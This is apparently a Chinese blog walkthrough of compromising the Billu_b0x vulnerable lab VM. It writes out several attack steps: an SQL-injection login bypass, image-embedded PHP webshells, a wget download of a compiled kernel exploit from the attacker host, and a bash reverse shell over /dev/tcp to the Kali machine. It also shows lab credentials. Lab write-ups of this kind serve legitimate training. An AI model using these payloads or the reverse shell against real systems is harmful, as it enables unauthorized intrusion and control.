Billu_b0x 靶机渗透

Stand Out , Fit In

环境准备

Kali Linux(10.10.16.128)
Billu_b0x 虚拟机
NAT 网络连接

主机渗透

1. 主机发现

nmap -sP 10.10.16.0/24

在这里插入图片描述

2. 端口扫描

nmap -A -v -sS -sV -p- -T4 10.10.16.143

发现靶机开放 80 ,22 端口
在这里插入图片描述

3. 目录爆破

① common.txt 字典

dirb 扫描默认使用 common.txt 字典
dirb http://10.10.16.143

在这里插入图片描述

② big.txt 字典

dirb http://10.10.16.143 /usr/share/dirb/wordlists/big.txt

在这里插入图片描述

③ 目录访问

根据上面两个字典的爆破得出如下有价值的目录/文件

index.php

index.php 是一个用户登录界面,页面提示这里是一个 SQL 注入点,sqlmap 自动注入也不成功,还搞不清楚是 “数字型/字符型”,常见的闭合方式不行,最后事实证明这里的绕过规则也不寻常,盲目地 fuzz 注入也不是上上之策,后面进行源码审计的时候再提起。
在这里插入图片描述

in.php

in.php 是一个 phpinfo 页面,它列出了 PHP 当前信息,其中包括 PHP 扩展和编译版本,服务器信息和环境,PHP 环境中,路径,主机和本地配置选项,HTTP 头,PHP 许可证等等。

  1. PHP Version 5.3.10-1 Ubuntu3.26,Linux indishell 3.13.0
    在这里插入图片描述
  2. allow_url_fopen 和 allow_url_include
    在这里插入图片描述

all_url_include 在 php 5.2 以后添加,安全方便的设置(php的默认设置)为:allow_url_fopen=on;all_url_include=off;
allow_url_fopen = On (允许打开URL文件,预设启用)
allow_url_include = Off (禁止引用URL文件,新版增加功能,预设关闭)
禁止 allow_url_include 解决了远端引用 (Include) 的问题, 同时又让我们还可以在一般的情形下使用 fopen 去打开远端的档案, 而不必再牵连上打开include函数所带来的风险。因此在新版 PHP 中 allow_url_fopen 选项预设是打开的,而 allow_url_include 则预设是关闭的。然而事实上若从系统角度来看,即使禁止了 PHP 的 allow_url_fopen 和 allow_url_include 功能,其实也不能完全阻止远端调用及其所带来的安全隐忧,而且它们只是保护了标记为 URL 的句柄,
也就是说只能影响 http(s) 和 ftp(s) 的调用, 但对包含其他标记的远端调用,例如对 PHP5.2.0 新版所提供的 php和 data 则无能为力,而这些调用一样会导致注入风险。

phpmy

这是一个线上数据库管理系统 phpmyadmin
在这里插入图片描述

test.php

在这里插入图片描述
页面提示 file 参数为空,,推测是一个文件包含页面,根据参数请求的方式构造如下 payload
(ps:下面是使用 Hackbar 进行参数提交,也可以使用 Burpsuite ,使用burpsuit 中选择 Change request method 可以转换参数提交方式)

  1. GET 方式
    使用 GET 方式提交参数发现行不通
    在这里插入图片描述
  2. POST 方式
    使用 POST 请求方式可以顺利提交参数,同时也发现,此处是一个远程文件任意下载的漏洞,可以将敏感文件的源码下载下来进行代码审计
    在这里插入图片描述

uploaded_images

这是一个图片存储目录,看目录名称,此处还应是上传文件存储目录
在这里插入图片描述

4. 漏洞挖掘

利用 test.php 的任意文件下载漏洞将前面使用 dirb 扫描出来的文件下载下来进行代码审计

① index.php

代码审计

参数先经过 urldecode() 函数解码,然后 str_replace() 函数将参数中可能存在的单引号转换为空
构造数据库查询语句的时候单引号引用参数然后进行拼接

在这里插入图片描述

漏洞利用

ps:源码中出现的 \ ’ 符号,其中的反斜杠只是起到独立单引号的作用,这个时候可以将其当作一个字符串,同时它也不能起到闭合其他单引号的作用。
由于单引号是成对出现的,所以在单引号前面添加反斜杠可以让单引号独立出来,所以在这里可以构造如下的 payload 进行注入。

pass=123\
uname=or 1=1 --+

所以构造的数据库查询语句就变成如下:

$run='select * from auth where  pass='123\' and uname='or 1=1 --+'';

在 pass 中 123 后面的反斜杠就是让反斜杠后面的单引号独立出来,称为 pass 参数的一部分,在 uname= 后面的单引号刚好和 pass= 后面的单引号闭合,此时 pass= 123’ and uname= ,然后 “或” 上一个 1=1 永真条件

登录成功后会重定向到 panel.php ,页面有 Show Users 和 Add User

  1. Show User
    右键图片可以查看图片的地址,恰好是前面 dirb 爆破出来的 uploaded_images 目录
    在这里插入图片描述
  2. Add User
    在这个页面,用户可以添加用户信息和上传头像,
    在这里插入图片描述

② panel.php

使用 test.php 页面的任意文件下载漏洞下载 panel.php 源码
在这里插入图片描述

代码审计

当按下 continue 键时:
使用 include() 函数包含文件
POST 方法提交 load (文件地址参数)
当按下 upload 键时:
mysql_real_escape_string() 函数过滤用户信息和图片名
设置文件名和文件类型白名单

在这里插入图片描述
在这里插入图片描述

③ c.php

这是数据库连接定义文件,可以得出如下信息

数据库连接帐密:billu/b0x_billu
当前使用的数据库:ica_lab

在这里插入图片描述
使用 c.php 得出的数据库登录帐密登录数据库后台 phpMyAdmin ,进入 auth 表得到 index.php 首页的登录帐密:biLLu/hEx_it
在这里插入图片描述

5. 漏洞利用

由以上漏洞挖掘可以有多种漏洞利用方式。

① 上传图片马,反弹 shell 提权

在 panel.php 也页面利用 Add Users 处上传文件,由于文件上传处对文件后缀和文件类型都使用白名单过滤,所以只能上传图片马,然后利用 panel.php 的文件包含漏洞进行图片马解析。

合成图片马

copy 123.jpg/b +test.php/a hacker.jpg

test.php 里面的一句话如下:

<?php system($_GET['cmd']);?>

或者在上传图片的时候截包,在图片数据的后面添加一句话。
在这里插入图片描述
访问上传图片
在这里插入图片描述

查看用户信息

cat /etc/passwd

在 URL 处使用 GET 方法提交要执行的命令,用 POST 方式提交图片马的地址
在这里插入图片描述

查看文件/目录权限

ls -la

在这里插入图片描述
执行 ls -la(以列表的实行显示文件)后门文件中各个信息代表的函数图解如下
可以得出 uploaded_images 目录下有写入权限
在这里插入图片描述

写入一句话

ps:由于 panel.php 文件包含是以 POST 方法提交参数,没办法直接用菜刀连接,当然,如果不想使用菜刀连接的话这个步骤可免。

echo '<?php eval($_POST['pass'])?>' >> uploaded_images/shell.php

在这里插入图片描述
在 uploaded_images 目录下可以看到上传成功的 shell.php
在这里插入图片描述

菜刀连接

在这里插入图片描述
打开模拟终端,查看 Linux/Ubuntu 版本信息,

uname -a
cat /etc/issue

在这里插入图片描述

查看可利用 exp

searchsploit linux 3.13.0

在这里插入图片描述
将脚本复制到 tmp 目录下,编译后在 tmp 开启 80 服务,可供菜刀下载该目录下的文件

cp /usr/share/exploitdb/exploits/linux/local/37292.c /tmp
gcc 37292.c -o shell
python -m SimpleHTTPServer 80

在这里插入图片描述

菜刀提权

将脚本下载后,运行发现不能提权。

wget http://10.10.16.128/shell
ls -la shell (查看 shell 的权限,x 表示有执行权限)
chmod +x shell (添加脚本执行权限)
./shell

在这里插入图片描述

反弹 shell 到 Kali

上面在菜刀无法提权,应该是环境问题,在 tmp 目录下新建一个脚本 shell2.php ,使用 vi 编辑器编辑脚本,同时监听 8080 端口

<?php
system("bash -c 'bash -i >& /dev/tcp/(Kali ip)/8080 0>&1'");
?>

在这里插入图片描述
菜刀下载 shell2.php (即上传到 uuploaded_images 目录下),浏览器访问 shell2.php 即可反弹 shell。先查看 shell 的执行权限(x 代表可执行),直接运行却报错。
在这里插入图片描述

Linux 系统下遇到 cannot execute binary file 的问题,一般由如下情况造成:

  1. 非 root 用户或者无执行权限
  2. 编译环境不同(程序由其他操作系统复制过来)
    对于第一种情况,对脚本添加执行权限即可(chmod +x shell)
    对于第二种情况,只需包改脚本的二进制文件拷贝过来,在新的环境编译即可

在这里插入图片描述

config.inc.php

phpMyAdmin 的默认配置文件 config.inc.php ,利用 test.php 页面的任意文件下载漏洞将 config.inc.php 文件下载下来。
在这里插入图片描述
在文件中看到一个用户的帐密:root/toor,使用 ssh 远程登录,直接就是 root 权限。
在这里插入图片描述
在这里插入图片描述

补充

得到 shell 的方式有很多,除了菜刀连接之外还可以反弹 shell 到 Kali,除了上面的脚本之外还可以使用 msfvenom/weevely 生成后门 php,也可以使用 Kali 自带的 shell (/usr/share/webshells/php/php-reverse-shell.php),不过这个得修改里面连接的主机号和监听端口。

                                                                                                                                 猪头
                                                                                                                              2020.2.27
发布了51 篇原创文章 · 获赞 4 · 访问量 2739

猜你喜欢

转载自blog.csdn.net/LZHPIG/article/details/104545799
今日推荐